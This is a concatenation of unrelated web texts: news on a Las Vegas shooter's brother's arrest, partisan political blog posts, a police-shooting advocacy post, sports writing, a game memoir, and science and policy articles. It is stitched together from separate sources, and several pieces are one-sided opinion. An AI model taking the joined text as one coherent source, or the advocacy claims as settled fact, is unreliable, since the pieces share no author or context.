Angeles on suspicion of possessing child pornography, authorities said Wednesday.  Bruce Paddock, 59, was arrested on a 20-count felony complaint, a police statement said.  Advertisement  His relationship to Stephen Paddock was confirmed by a law enforcement official briefed on the investigation but not authorized to discuss it publicly.  Bruce Paddock is not a suspect in the Las Vegas shooting.  The child porn case predated the Oct. 1 shooting, said the official who spoke on condition of anonymity.  It wasn’t immediately known if Paddock has an attorney. He was being held on $60,000 bail at the Metropolitan Detention Center.  The felony complaint for his arrest alleges one count of possession of child or youth pornography and 19 counts of sexual exploitation of a child.  The complaint signed Tuesday by a Los Angeles County deputy district attorney specified that between Jan. 1 and Aug. 30 of 2014, Bruce Paddock knowingly possessed more than 600 images of child or youth pornography involving use of a person under age 18 engaging in or simulating sexual conduct.  The material included “10 or more images of a prepubescent minor or a minor who was under 12 years of age,” the complaint said.  The police statement said Bruce Paddock came under investigation after evidence was discovered inside a business in the Sun Valley area of the city where he had been a squatter. The evidence was discovered after his eviction.  At the time, Bruce Paddock was a transient and couldn’t be found, police said. He was recently located at an address in North Hollywood.  Fifty-eight people were killed and hundreds more were wounded Oct. 1 at the Route 91 Harvest Festival on the Las Vegas Strip. Stephen Paddock opened fire from the 32nd floor of the Mandalay Bay casino-hotel tower. Stephen Paddock was found dead.  Another brother, Eric Paddock, spoke to media following the shooting but Bruce Paddock did not.  AlertMe
-Still think the War on Women isn’t real???  [Title edited for clarity]  Michigan House Representative Barb Byrum (D-Onondaga) was prevented from speaking on the House floor today by Republican leadership. She and other Democrats asked to speak on a package of pay equity bills that would address income inequality in Michigan.  They were rebuffed.  From a statement by House Democrats:  State Representative Barb Byrum (D-Onondaga) and other House Democrats today took House Republicans to task for repeatedly failing to recognize the needs of women in Michigan. So far this year, House Republicans have repeatedly shown they don’t share women’s priorities in matters such as pay equity, women’s health care, middle-class taxes and teacher retirement. Today, little more than a month after she was barred by House Republicans from speaking on the House floor after voicing opposition to an anti-choice bill, Rep. Barb Byrum once again tried to speak in the House, this time in favor of a package of bills that would address pay equity. Again, she was denied the chance to speak.  “House Republicans decided again to not let me speak today on the House Floor, but they can’t stop millions of Michigan women from speaking out in November,” Byrum said. “The women of this state want leaders who share their priorities, including fair pay, access to women’s health care and a fair tax system for their families. These are values House Republicans don’t share with us.”  According to House Dems, so far this year, House Republicans have:  Refused to allow debate or committee testimony on pay equity bills on the House Floor (House Bills 4611-4614)  Refused to allow discussion of bills that would undo tax changes that disproportionately hurt middle-class families, such as the elimination of the child deduction, the reduction of the homestead exemption and earned income tax credits and the senor tax (HB 5640)  Railroaded through sweeping anti-abortion measures, including the over-regulation of clinics that perform abortions (HB 5711)  Pushed through changes to the Michigan Public School Employees Retirement System (MPSERS) that will result in no pensions for future teachers and that disproportionately affect women, who comprise 73.7 percent of the current teachers in the system and 70 percent of the retired teachers (SB 1040)  Rep. Dian Slavens of Canton said, “It is time this Legislature demonstrates that they understand the needs of women and middle-class families in this state. I believe that the people of Michigan deserve elected leaders who do get it. We have been speaking to women around the state about the things that matter most to them, and we understand their concerns.”  Michigan Republicans, drunk with power, continue run roughshod over the rights of women and Democrats in general and, as was revealed yesterday, over the rules and basic ethics standards we should be able to expect from our lawmakers.  If Michiganders didn’t already have enough reasons to get out the vote & get out and vote, their treatment of the women in our state, including their female colleagues should be ample reason to push them over the edge.  We don’t just need change in Michigan. We need revolutionary change.  Our Democratic legislators are certainly ready. “We have been working so hard to promote measures that help the people of this state, not just corporate special interests,” Representative Stacy Erwin Oakes (D-Saginaw) said in a statement. “We will continue fighting for the things that matter, because the people of Michigan have told us that’s what they want us to do.”  [Byrum photo credit: Anne C. Savage]  P.S. If you are getting value from what you find here at Eclectablog, please note that we are in the middle of our third quarter fundraiser (more info in our post this morning “Day Three – Third Quarter fundraiser – “We’re going to the Democratic National Convention” edition”.) If you can make a contribution to help us continue to fight the good fight, we’d really appreciate it. You can do so using this convenient Paypal link (you can change the default $25 donation amount to whatever you’d like it to be). Thanks.  Chris, Anne, and LOLGOP  [donateplus]
-Andrew Hozier-Byrne's voice is so rich, so vital and so soulful, I'm certain I'll follow his music for a long time to come. The 24-year-old Irishman, who performs under the name Hozier, opens this set with the brilliant and instantly grabby song "Take Me to Church," about passion, sex and religion.  Hozier's music is based in the blues, and you'll hear the singer-guitarist's love for Muddy Waters and John Lee Hooker during the second song he performs here. His band — piano, guitar, percussion — steps aside for the swampy "To Be Alone," in which the blues provide a starting place for his high, yearning vocals and deep questioning. Hozier has just two EPs out, and both have me yearning to hear more.  Set List  "Take Me To Church"  "To Be Alone"  "Cherry Wine"  Credits  Producers: Bob Boilen, Denise DeBelius; Audio Engineer: Kevin Wait; Videographers: Denise DeBelius, Olivia Merrion; Production Assistant: Alex Schelldorf; photo by Alex Schelldorf/NPR
-UFC 213 took place this past Saturday night at the T-Mobile Arena in Las Vegas and the main card on pay-per-view was headlined by Robert Whittaker becoming the interim middleweight champion with a decision victory over Yoel Romero.  Prior to the main card on pay-per-view, the televised preliminary card aired on FS1 and featured a heavyweight bout as Oleksiy Oliynyk scored his 52nd career victory as he submitted Travis Browne in the second round.  When it comes to the television ratings for the preliminary card, the two-hour portion of the event averaged 675,000 viewers and peaked at 732,000 viewers during the Oliynyk vs. Browne matchup (9:30-9:45 p.m. ET). Prior to the live fights, the pre-fight show came in with 219,000 viewers and once the pay-per-view concluded, the post fight show on FS1 came in with 206,000 viewers.  Now it should be noted that the UFC 213 prelims did go up against stiff sports competition on Saturday night as NASCAR on NBC Sports Network drew 2.7 million viewers, the MLB game on FOX came in with 2.5 million viewers, and the NBA Summer League game on ESPN between the Los Angeles Lakers and Boston Celtics delivered 1.1 million viewers.  The UFC will return to FOX Sports on Sunday for UFC Fight Night: Nelson vs. Ponzinibbio and the six fight main card will begin at 3 p.m. ET/12 p.m. PT on FS1.
-1. Missouri and Duke making history for the wrong reason  Since everything that can be said has already been said about Missouri and Duke losing to 15-seeds within a few hours of each other, I’d like to direct your attention to a prediction that a certain someone made last week about the 1- or 2-seeds that were most likely to get upset early.  (And no, I don’t think it’s relevant to mention that I picked Missouri to go to the Final Four after the bracket was announced.)  2. Draymond Green’s second career NCAA tournament triple-double  On Sunday afternoon, CBS gave Green the love he deserved for recording his second career NCAA tournament triple-double against LIU two days earlier, but it seems like fans and the media as a whole haven’t given this accomplishment its proper respect. I’m guessing this is because people are less impressed because Green did it against a 16-seed, but that shouldn’t matter. The bottom line is that there have been hundreds of guys who played against 16-seeds, yet only Green, Magic Johnson, and Oscar Robertson have multiple triple-doubles in the tournament. Anytime you’re in an exclusive group with Magic and the Big O, you’ve accomplished something.  3. Jae Crowder is the emerging star of the tournament  It’s not very often that the Big East player of the year flies under the radar in the discussion of the country’s best players, but that has happened all year long with Crowder. I’m not sure how much longer it will last, though, because against Murray State on Saturday Crowder showed that he is the most versatile player in the country and that he can carry a team to the Final Four. As excited as I am to see Florida and Marquette race to 100 points on Thursday, I think I’m more excited about a possible Crowder-Draymond Green matchup in the Elite Eight, because both of those guys do more for their teams than any other player left in the tournament.  4. Syracuse looking good after a scare  Syracuse needed a combination of luck, incompetent refs, and a few big plays to escape a historic loss to UNC-Asheville in their first tournament game, and many people put the Fab Melo-less Orange on upset alert in their next game against Kansas State. But ‘Cuse sent a message to the rest of the field that even without Melo, they won’t be an easy out.  5. Redemption for Louisville and Wisconsin  Big things were expected from Louisville and Wisconsin this season, but in late December and early January both had stretches that made it easy to wonder why their preseason rankings were so high. Losing over the weekend wouldn’t have necessarily made their respective seasons failures, because both the Cardinals and Buzzcuts won a lot of games, but Sweet 16 berths give them something extra to validate the lofty expectations placed on them in November.  6. Redemption for Jordan Taylor  Taylor’s individual season mirrored his team’s season. As a first team preseason All-American who averaged 18 points per game a season ago, the bar was set very high for Taylor this year. And like the Buzzcuts as a whole, Taylor wasn’t exactly bad this year — he averaged fewer points, rebounds, and assists than last season, but with more turnovers per game than a season ago, he certainly didn’t live up to expectations. Of course, none of that is important now that he’s playing well when it matters most and just hit the game-winning shot to beat Vanderbilt and send the Buzzcuts to the Sweet 16.  7. The Big Ten is 9-2 and the state of Ohio is 8-0  As a proud alum of the only Big Ten school located in Ohio, let me just take a second to politely say, “Suck it, every other state and conference.”  8. Kentucky’s stretch to end the game against Iowa State is why they are overwhelming favorites to win it all  At the under-16 media timeout in the second half, with Kentucky holding on to a two-point lead, my friend who was watching the game at my place stood up from the couch and said he was going to run to Subway because he didn’t want to miss the game but he was too hungry to wait for the end. When he came back 10 minutes later, Kentucky’s lead was 16, prompting him to ask, “What the hell happened in the 10 minutes I was gone?”  All I could respond with was, “Kentucky happened.”  9. After all these years, Ashley Judd still gets interviewed during Kentucky games for some reason  “I don’t think I can fully understand how good this Kentucky team is until I hear what the chick who starred alongside The Rock in The Tooth Fairy has to say about them.”  —Nobody  10. Indiana is back in the Sweet 16  With the season they had, it shouldn’t come as a huge surprise that the Hoosiers are in the Sweet 16 for the first time in 10 years. But when you consider the expectations at the start of the season and the fact that VCU outplayed them for most of the game Saturday, Indiana should feel proud to make the Sweet 16. College basketball is at its best when all of the blue bloods have good teams, so it’s encouraging to see the Hoosiers doing well in the tournament during what was supposed to be a tune-up year before IU’s great recruiting class arrived in Bloomington next season.  11. Did we see Shaka Smart’s last game at VCU?  Most Illinois fans have pegged Smart as their pick to fill Bruce Weber’s shoes, and rightfully so. He’s a young Midwesterner with a Final Four and a prestigious CBI championship on his résumé in just three years at VCU. But despite how badly Illini fans want him, the truth is that Smart likely wouldn’t get that much more money from Illinois, and he definitely wouldn’t get the job security at Illinois that he has now, which is why I think he’ll ultimately stay with the Rams. That said, he’d get better recruits in Champaign and would have a better opportunity for sustained success, so it wouldn’t be crazy if he decided to leave.  12. Colorado’s karmic run coming to an end  Karma always seems to get a bad rap, what with everyone calling it a bitch all the time and the Jersey Shore cast regularly starting fights and exposing their genitals inside of it. But thanks to the Colorado athletic department, karma is slowly restoring its name. First the Buffalo athletic department offered all-expenses-paid trips for 50 students to travel to Los Angeles for the Pac-12 tournament, where their sixth-seeded Buffs made an improbable run to the championship. That alone is above and beyond what most athletic departments do for their students, but Colorado followed that by offering another great deal to all Colorado students for the NCAA tournament. In what should come as no surprise, the 11th-seeded Buffaloes won their opening-round game against UNLV and then had third-seeded Baylor on the ropes in front of a heavy pro-Colorado crowd before the Bears got hot and pulled away late.  13. Brady Heslip’s shooting display against Colorado was a thing of beauty  Being a Canadian who parts his hair, Heslip looks like the kind of kid who knocks on your door to sell candy bars for his Little League team and is so innocent that he doesn’t realize $4 for a king-size Kit Kat is a complete rip-off. But then you see him play and you realize that he’s infinitely cockier than you thought, as evidenced by the fact that he’s a flagrant violator of the premature loose butthole monocle. That said, against Colorado on Saturday night, he had every right to throw up as many loose butthole monocles as he wanted because his shooting performance (9-for-12 from behind the arc) was unlike anything I’ve ever seen in the NCAA tournament.  14. Charles Barkley is delightfully bad in the studio  I know that the same can be said about him when he’s working NBA games, but it’s especially true during March Madness. What makes it that much better is that Barkley is usually the last of the analysts to chime in with his thoughts, so by the time it’s his turn to talk all of the obvious points have been mentioned. As a result, Barkley, who clearly hadn’t watched a single college basketball game before the tournament, ends up saying things like, “I think the team that (insert something obvious, like “plays defense” or “scores a lot of points”) will have a good chance at winning the game.”  15. The officiating has been awful  Being an official is a thankless job, but it’s also a job that completely deserves any and all criticism when done terribly, so here are some memorably bad calls that potentially changed the outcomes of games so far in this year’s tournament:  • Notre Dame getting called for a bogus lane violation late in the game against Xavier  • Trevor Releford not getting the foul call when he was clearly hit on the elbow as he shot the potential game-winner against Creighton  • Pretty much everything that happened in the final two minutes of Syracuse vs. UNC-Asheville  As if that’s not bad enough, there were handfuls of other terrible calls that weren’t directly responsible for deciding games, such as all of the technicals called for hanging on the rim, and every single call Ted Valentine has made.  16. Carolina looked dominant against Creighton  I’ve said for a few weeks now that the national title is Carolina’s to lose because they are basically just a more experienced, offensive-minded Kentucky, and Sunday’s performance against Creighton only solidified this opinion. The Heels are relentless offensively and really just need to play a tiny bit of defense to dominate their opponents. In fact, the only way I can imagine Carolina not winning the title this year is if a key player gets injured. You know, for example, an injury like  17. Kendall Marshall’s broken wrist  It can’t be overstated how much the availability and effectiveness of Marshall impacts North Carolina’s title chances, but I’ll try anyway: North Carolina might as well forfeit against Ohio if Marshall can’t play the rest of the tournament, because Duke will have as good of a chance to win the national championship as they will.  18. North Carolina State is no Cinderella  Based on their seed, it’s easy to label NC State a Cinderella team, but Cinderella teams typically look out of place and win because of luck, uncharacteristically hot shooting, or uncharacteristically cold shooting from the opposition. NC State, on the other hand, looks every bit like a 4- or 5-seed and is a legitimate threat to make it to New Orleans. The phrase “peaking at the right time” is beaten to death this time of year, but if there was ever a team that that phrase described perfectly, it’s the Wolfpack.  19. The end of the Robbie Hummel Era  Fact: The last time Hummel wasn’t on Purdue’s roster, Michael Jackson was alive, Bob Barker was the host of The Price Is Right, and the iPhone hadn’t been released yet. No words could accurately express what Hummel has meant to Purdue during the last five years, and as one of the nicest guys in the sport, it was impossible not to cheer for him, especially with all he had to endure because of his two ACL tears. It’s a shame that he didn’t get to play in the NCAA tournament with JaJuan Johnson and E’Twaun Moore the last two years, when Purdue would’ve been Final Four contenders, but at least he was able to end his career on a somewhat high note by lighting up Kansas for 26 points and nine rebounds.  20. The Buick Verano commercial featuring the band whose name I don’t care to know is my own personal hell  If you would’ve told me on Thursday that the Buick Verano commercial with the tour buses following a girl to the dry cleaners would run away with the title of “most annoying commercial of the 2012 tournament,” I would’ve considered it an upset. But in retrospect, it was the obvious choice all along because the overall premise of the commercial is ridiculous, and it features a song that gets stuck in your head and a guy whose face is just asking to be punched. I’m not sure who the band in the commercial is, but I do know that while it may have started with a whisper, it’s going to end with me putting car bombs in all those buses if that commercial continues violating my ears.
-This game is to this day my real golden year and a half of gaming. It was unlike anything else out there and for its age, it was truly most-expansive and complete kind of MMO RPG.  I started playing it in 2002 just when it was on the 3rd expansion and was probably the game’s all-time peak of quality. Half a year later the 4th one came out and the changes were drastic enough to make half the old community to quit.  This whole genre was a brand new experience for me and I capitalized on all its opportunities. You could have absolutely anything you could imagine in a game- houses, boats, mounts, plethora of crafting and combat skills and various hybrid combinations of the two, excellent dungeons and huge boss spawns, the list can go on and on. It was also one of the very few games that was skill point based rather than character levels, so you could virtually never ruin a character and could always rebuild it into anything else you wanted.  I started up a guild and we all had a pretty successful run over the year and a half that I played prior to moving on myself. Closer to my second half of playing UO I finally managed to organize a player-run town- several houses in the same area designed under the same guidelines and owned by a common group of players, which was one of the hardest feats to achieve in any game like this.  ————————————————————————————————–  And so, this was the very beginning of my lovely guild. We held early meetings in one of the castles in the main city, Britain, Trammel.  Britain bank was the major social and commerce spot, always very crowded.  I even got lucky enough to catch the culminating official event for the 3rd expansion- Lord Blackthorn’s Revenge. We all collectively fought him and got to see the official iconic characters of the main story-  Past that I had a plethora of other adventures. At one point, tamers of my guild sold various mounts near the bank for very decent prices and made enough pocket change after a day. In fact, animal and monster taming system was extensive and fun. Some critters had pack stats, so the more you had with you, the more damage they did. You could train critters too and even bond them such that after they died, they would follow you as ghosts until you resurrected them. For early 2000s, what other game had even a portion of everything that UO offered?  The champion spawns were the meat of the game for the longest time and featured a final boss of bosses type as well. You would fight huge waves of monsters until the boss appeared, take him down, get a champ skull (that you needed to summon the final spawn) and lots of high-end items. The main sought items were skill point cap scrolls that allowed you to go past the standard 100 point cap, and they would come in increments of 5 until 120. Every character could have a grand total of 700 points, which typically entailed being Grandmaster in 7 skills or Legendary level (120) in any 5 and have a 6th supporting skill.  You would kill waves of monsters until the altar filled with skull candles and then the boss would finally spawn.  These typically took from 2 extremely skilled players to 10 or more depending on the spawn and its difficulty. Here is one of the power scrolls-  Here is how skill raising worked- per uses bases with certain time-caps until the next point could be earned, unless you really used the tits out of it.  You would typically set arrows up for skills you wanted raised and down for those you didn’t need. You could also lock skills at any desirable amount for some truly hybrid builds.  The last expansion that I played, The Age of Shadows, added a Sims-like ability to build completely custom houses instead of being stuck with stock designs. This opened up amazing heights for style and was the foundation of my player city.  Items could be stacked to create some really amazing mock-furnishings as well, so at one point I had a pool, a piano, and various other improv decor in my humble abode.  All in all, these were truly the best gaming days of my life thus far and I’m really glad that I can now share even if a tiny bit with the rest of you.  Advertisements
-If creatures exist on planets with twin suns, they would have to be extremely adaptable.  The most detailed look yet at the energy from stellar pairs shows there are more potentially habitable worlds in the galaxy than we thought. But the planets’ denizens must be able to adapt quickly to wild temperature shifts and unpredictable seasons.  Most stars in the galaxy come in pairs or more. Until recently, astronomers assumed the regions around many of these binaries would be too gravitationally chaotic to host planets (see “Binary star apocalypse“).  Now that view has changed. A handful of planets have been discovered orbiting two stars, including some that appear to be in the habitable zone, where liquid water can exist.  Advertisement  “This means we cannot dismiss binary stars as being inhospitable,” says William Welsh of San Diego State University. “That opens up a vast number of possibilities that were previously considered too hostile for life.”  Early models assumed the brightest star in a binary pair was the only one that mattered for habitability, and no one modelled systems in which both stars were equally bright. “What we’ve done for the first time is say, ‘let’s take both stars into account and see what the habitable zone really is’,” says Stephen Kane of the California Institute of Technology in Pasadena. “It becomes much more complicated.”  Kane and Caltech colleague Natalie Hinkel modelled a variety of binary systems and calculated the combined light contributions at every point in the stars’ vicinity. In some systems, they found distinctly lopsided habitable zones, especially when the stars were widely separated (see diagram). “It surprised me how asymmetric some of the habitable zones can be,” Kane says. “Some of them end up looking like peanuts.”  Planets in other systems, including the first confirmed binary world, Kepler 16b, would move in and out of their habitable zones over the course of a year, possibly forcing cycles of freezing and thawing. “The climate is much wilder on these planets than on Earth,” says Welsh, who was not involved in the work. “Life would have to be able to cope with very large and rapid changes in temperature.”  That creates challenges for land walkers, Kane says. “It would be very difficult to predict weather patterns, or when to plant your crops, or anything like that.”  It’s less of an issue if the planet has oceans, says Frank Drake, one of the first researchers to search for extraterrestrial intelligence. It takes a greater energy flux to heat or cool water compared with air, so marine creatures would be protected from quick-change seasons. “The ocean is a wonderful, very cosy blankie for life,” Drake says.  What about the most famous planet with two suns, Tatooine, of Star Wars fame? Kane says that the stars are so far apart they would create a lopsided habitable zone – and the planet wouldn’t be in it.  “If one were to calculate the [habitable zone] boundaries for the Tatooine system based on film footage, there’s a very real possibility that the planetary system as depicted is unphysical,” Kane says. “This would not be a big surprise, since the film was produced far before any of this kind of research took place.”  Journal reference: The Astrophysical Journal, doi.org/j36  Binary star apocalypse Not all two-star systems have stars close enough for one planet to orbit both. In some cases, the stars are so far apart that planets could orbit one star, while the other lurks hundreds of billions of kilometres away. You might think such worlds would be as serene as those around solo stars. But the second star could spell doom, says Nathan Kaib of Northwestern University in Evanston, Illinois. In the outer reaches of our solar system, objects in the Oort cloud are nudged to and fro by galactic tides and the gravity of passing stars. This sends some of them, which we see as comets, careening into our neighbourhood on highly elongated orbits. In a series of simulations, Kaib and his colleagues showed that the same is probably true for widely separated binary stars. At some point, gravitational tweaks will almost inevitably send one star hurtling towards its partner – and the brief encounter would wreak havoc on any planets. In about half of the simulations, at least one planet ended up getting ejected from the star system. In 20 per cent of cases, the star lost all its planets (Nature, doi.org/j56). “You wind up with a naked star,” says Kaib. “It can be very devastating.”
-Every share makes Black Voice louder! Share To Share To  “One could easily say this is an execution because they were not being attacked,” Burris, Family Attorney for the deceased.  Another Black man joins the police ‘execution list’ as cops will never cease taking Black lives. The victim, who is identified as Joseph Mann, is described as a peaceful young man, who has had no records of violence in the vicinity.  Joseph Mann, 50, used to work for the Department of Corrections until he had a mental breakdown in 2011 after the death of his mother. Since then, this mentally ill man has peacefully lived on the streets of Sacramento — until last month when he was shot 18 times and killed as he fled from police.  A wrongful death suit has been filed by the family of the deceased against the Sacramento police. But surprisingly the police have narrated a totally different story about the murder of Mann.  Luckily a recorded phone video on that fateful day has refuted claims and narrations by the police that Joseph Mann was armed with a knife and a gun. That is a blatant lie as no gun was found at the scene of the incidence. Well, the video speaks for itself and tells how incredibly well the police Department can fabricate lies to cover up their irresponsibility and total negligence.  As to the evidence the video brings out, it is a dangerous path the police has taken. They now shoot their vulnerable innocent victims in the back. What is it, cowardice or lack of professionalism?  Honestly, the “back-shooting” position of the victim is a proof of a wrongdoing. A man, who is facedown or is running away, cannot be a deadly threat in any way possible. Just like Joseph Mann, many other Blacks have been killed in the same position proving the helplessness of the victim, yet the police will tell a completely different story.  Kindly SHARE this article on any social media of your choice to combat Police brutalities and racism.
-’91-’92 Pittsburgh Penguins (39-32-9, 87 points (3rd in Patrick), STANLEY CUP CHAMPIONS) ’90-’91 Pittsburgh Penguins (41-33-6, 88 points (1st in Patrick), STANLEY CUP CHAMPIONS) ’08-’09 Pittsburgh Penguins (45-28-9, 99 points (2nd in Atlantic), STANLEY CUP CHAMPIONS) ’07-’08 Pittsburgh Penguins (47-27-8, 102 points (1st in Atlantic), Lost in Stanley Cup Final) ’12-’13 Pittsburgh Penguins (36-12-0, 72 points (1st in Atlantic), Lost in Conference Final) ’95-’96 Pittsburgh Penguins (49-29-4, 102 points (1st in Northeast), Lost in Conference Final) ’00-’01 Pittsburgh Penguins (42-28-9-3, 96 points (3rd in Atlantic), Lost in Conference Final) ’94-’95 Pittsburgh Penguins (29-16-3, 61 points (2nd in Northeast), Lost in Conference Semifinal)  The ’12-’13 Pittsburgh Penguins were the 10th seed in the inaugural Ultimate NHL Playoff. They had a First Round Bye, but were then swept in the Second Round by eventual Quarterfinalists, the 23rd-seeded ’79-’80 Buffalo Sabres.  Players to Watch:  F – Mario Lemieux – He’s “Super Mario” for a reason. 690 goals, 1,033 assists and 1,723 points in 915 games.  – He’s “Super Mario” for a reason. 690 goals, 1,033 assists and 1,723 points in 915 games. RW – Jaromir Jagr – Second in Penguins history in scoring to only Mario. He has 1,079 points in 806 games.  – Second in Penguins history in scoring to only Mario. He has 1,079 points in 806 games. C – Sidney Crosby – This is quite a trio. He’s gonna pass Jagr soon for second all-time in franchise scoring and it’s only because of recurring injury issues that he’s not already second behind Mario.  Advertisements
-Reading the Israeli headlines lately, one can see why many American Jews are convinced that ultra-Orthodox extremism is getting worse. On Monday, the Haredi (ultra-Orthodox) parties got the coalition to pass legislation barring non-Orthodox converts from using state-run ritual baths for their conversions; earlier this month, the Haredi-dominated rabbinical courts refused to recognize conversions by an esteemed American Orthodox rabbi, Haskel Lookstein; and for months now, the Haredi parties have blocked implementation of Natan Sharansky’s sensible compromise on non-Orthodox worship at the Western Wall. Yet to look only at these headlines is to miss a crucial part of the story: Younger Haredim, while remaining passionately committed to Orthodox Judaism, are increasingly rejecting their rabbinic leadership’s hardline positions on numerous issues, including work, army service, academic study, and communal isolation.  Let’s start with work. Officially, the rabbinic leadership still holds that men should study Torah full-time. But the proportion of Haredi men entering the workforce is rising steadily, and last year, it exceeded 50 percent for the first time since Israel started tracking the data. It’s now 51.2 percent, and the government hopes to raise it to 63 percent by 2020.  As for Haredi women, anyone who thinks they’re confined to the kitchen is way behind the times. Last year, 73.1 percent of Haredi women worked, up from 61.5 percent just five years earlier; that’s already far above the government’s target of 63 percent by 2020. And since the Haredi community can’t provide enough jobs for all these women, they are increasingly integrated into the broader economy, including high-tech. This obviously entails more contact with non-Haredim.  New attitudes toward work are also influencing a new generation of Haredi politicians. Today’s Haaretz has a fascinating profile of Yisrael Porush, the 36-year-old mayor of the Haredi city of Elad, whose father and grandfather were prominent Knesset members and deputy ministers. The elder Porushes focused on traditional Haredi concerns. But the young mayor has a different goal: In the words of reporter Meirav Arlosoroff, it’s “for as many of the city’s residents as possible to work.” To this end, he has not only brought business ventures like a software development center into town, but has negotiated agreements with two neighboring local governments–a secular Jewish one and an Arab one–to create joint industrial parks.  On education, the change is equally dramatic. Not only did the number of Haredim in college jump by 83 percent, to 11,000, from 2011-2015, but attitudes toward secular studies in high schools are also changing.  You wouldn’t guess this by looking at the older generation of politicians: On Sunday, at the Haredi parties’ behest, the coalition agreed to repeal a law imposing financial penalties on Haredi schools that don’t teach the core curriculum.  But the next day, the Jerusalem Post quoted a new survey which found that 83 percent of Haredi parents would like their sons to attend high schools that teach secular subjects alongside religious ones, as Haredi girls’ schools already do. Another 10 percent would consider this option. Moreover, the article noted, the number of Haredi boys attending yeshiva high schools, which prepare students for the secular matriculation exams, has doubled since 2005. Though the number remains tiny (1,400 enrollees last year), the survey results indicate that this may be due less to lack of demand than to lack of supply: Today, just over a dozen such schools exist.  The survey also lends credence to Education Minister Naftali Bennett’s claim that coercive legislation isn’t necessary to solve the secular studies problem. Helping other such schools get started, instead of putting obstacles in their way, might be equally if not more effective.  On army service, too, change is apparent. In 2014, 2,280 Haredim enlisted – about one-third the number that would have enlisted if all Haredi men joined the army at 18. And in some places, the numbers are higher: In Porush’s Elad, about 40 percent of men do army service.  Moreover, the stigma against army service is rapidly crumbling. As Rachel Levmore, a member of the government panel that appoints rabbinical court judges, noted recently, until this month, Israel’s highest rabbinical court had never included a judge who served in the army. But following this month’s round of appointments, fully half its judges are now veterans, including two Sephardi Haredim and one Ashkenazi Haredi. The latter is particularly noteworthy because army service is much less common among Ashkenazi Haredim.  As Levmore wrote, these appointments send an important message: Army service no longer disqualifies Haredim for prominent rabbinical positions. Today, you can serve and still be appointed to the Supreme Rabbinical Court, with the unanimous approval of a panel that includes the Haredi chief rabbis and a Haredi Knesset member.  Admittedly, these changes in Haredi society won’t lead to changes in attitude at the top anytime soon. The leading Haredi rabbis are in their nineties, and their replacements will be men of similar age. In other words, they are products of a very different world – one where the Holocaust had wiped out most of European Jewry, where Israel’s army and school system actively sought to create “new Jews” in the mold of the ruling secular elite, where rebuilding the Torah world was the overriding imperative, and where isolation from secular knowledge and secular society was deemed essential for achieving this goal. This is the worldview they imbibed in their formative years, and they won’t abandon it in their old age.  But younger Haredim grew up in a very different world–one where Torah study is flourishing, the religious population is growing, and state institutions from the army to the universities now welcome Haredim without trying to make them stop being Haredi. Consequently, this generation feels less threatened by the secular world; it’s confident of its ability to work, attend college and even do army service without losing its Haredi identity.  Bottom-up change is usually slower than the top-down version, but it also tends to be more lasting. And therefore, the headlines of recent months are misleading: Developments in Haredi society as a whole actually provide strong grounds for optimism.
-October 16, 2013 — A news analysis in The New York Times this month neatly summed up the conventional wisdom that drives the proposals and rhetoric of a broad political spectrum from Tea Party Republicans to Democratic centrists, wins grudging acceptance even among some elements of the center-left, and is constantly reinforced in the media: “the United States must confront the rising costs of the benefit programs, especially Medicare and Medicaid but also Social Security.”  Savings for old-age health costs are estimated to account for a full 11 percent of the country’s private wealth.  But the “unsustainability” argument — presented by the reporter as an unchallengeable fact — ignores completely another perspective: that a focus on reducing financial insecurity instead of reducing benefits would likely yield not only important psychological benefits to millions of senior citizens but also important gains for both national and local economies in the medium and short term.  For example, a growing body of economic research shows that the risk of high medical and long-term care expenses makes retirees in the U.S. uncommonly unwilling to spend such retirement savings as they have. With greater financial security, seniors would be less likely to deprive themselves of enjoyable activities or to defer needed medical care.  Moreover, if retirees were freed from their concerns about health-related expenses, they would likely spend far more of what turns out to be, in the aggregate, trillions of dollars in untapped capital. This change in habit would represent a great economic boon to the U.S. and to the localities where retirees live.  The implications work both ways: if the safety net is restricted further, seniors will be even more compelled to hang on to their money, and the communities that rely on their spending will suffer as a result.  Yet these considerations and others like them are absent when there is talk in Washington about the need to be “realistic.” The AARP Public Policy Institute, for instance, recently released a report tracking the effects of Social Security spending throughout the nation, finding that every dollar generates two in economic output for an added total of $1.4 trillion. But Gary Koenig, the Institute study’s principal author, said it’s difficult to get a word in edgewise in a budget-obsessed debate.  “It seems to me that we’re in a world right now where spending is characterized as bad, and high taxes are characterized as bad, and both are characterized as disastrous to the economy,” Koenig said. “And that leads you to one conclusion, which is that we need to achieve fiscal balance in our budget only through spending cuts.”  “It’s a very narrow, limited focus,” Koenig added. “I think it misses the bigger picture.”  You Can’t Take it With You  American retirees are notoriously thrifty. Data from the University of Michigan’s Health and Retirement Study on median household net worth illustrate the point. As of 2006, heads of household aged 90 had a median household net worth of about $75,000. This is higher, as a proportion of net worth at age 65, than in most other industrialized countries. Among economists who study patterns of saving and spending across lifetimes, this has always been something of a puzzle. If, as the saying goes, there are no pockets in a shroud, then why do the elderly hold on to their money instead of spending it?  The desire to leave an inheritance is one explanation, though it has been found to be a relatively minor concern among households that aren’t very wealthy. Instead, a number of recent studies have found that a more significant factor is the potential of having to pay large sums out of pocket for medical and long-term care, the fear of which compels retirees to leave their nest eggs undisturbed.  The countries with higher retiree spending rates were those where public insurance programs reduced or eliminated the risk of health-related expenses.  In a working paper funded by the Retirement Research Consortium, Irina A. Telyukova and Makoto Nakajima, economists at the University of California, San Diego and the Federal Reserve Bank of Philadelphia, respectively, compared the spending rates of American retirees to those of several other countries, mostly European. Focusing on relatively liquid financial wealth (rather than housing assets), they found that, consistently, the countries with higher retiree spending rates were those where public insurance programs reduced or eliminated the risk of health-related expenses.  Telyukova and Nakajima zeroed in on a comparison between the U.S. and Sweden in part because the retirement picture in the two countries is similar: ratios of savings to income upon retirement, homeownership rates, and so forth. They key difference is in social programs. While Swedish retirees, regardless of income, have free access to medical and long-term care, Americans have only limited medical insurance through Medicare and, except for Medicaid assistance to the very poor, no public coverage of long-term care.  Telyukova and Nakajima found that, by the time they’re pushing 90, American households have spent down only about one third of their financial assets, while Swedes have spent nearly three quarters. They found, moreover, that the majority of this difference — around 70 percent — can be accounted for by the disparities in the countries’ healthcare safety nets.
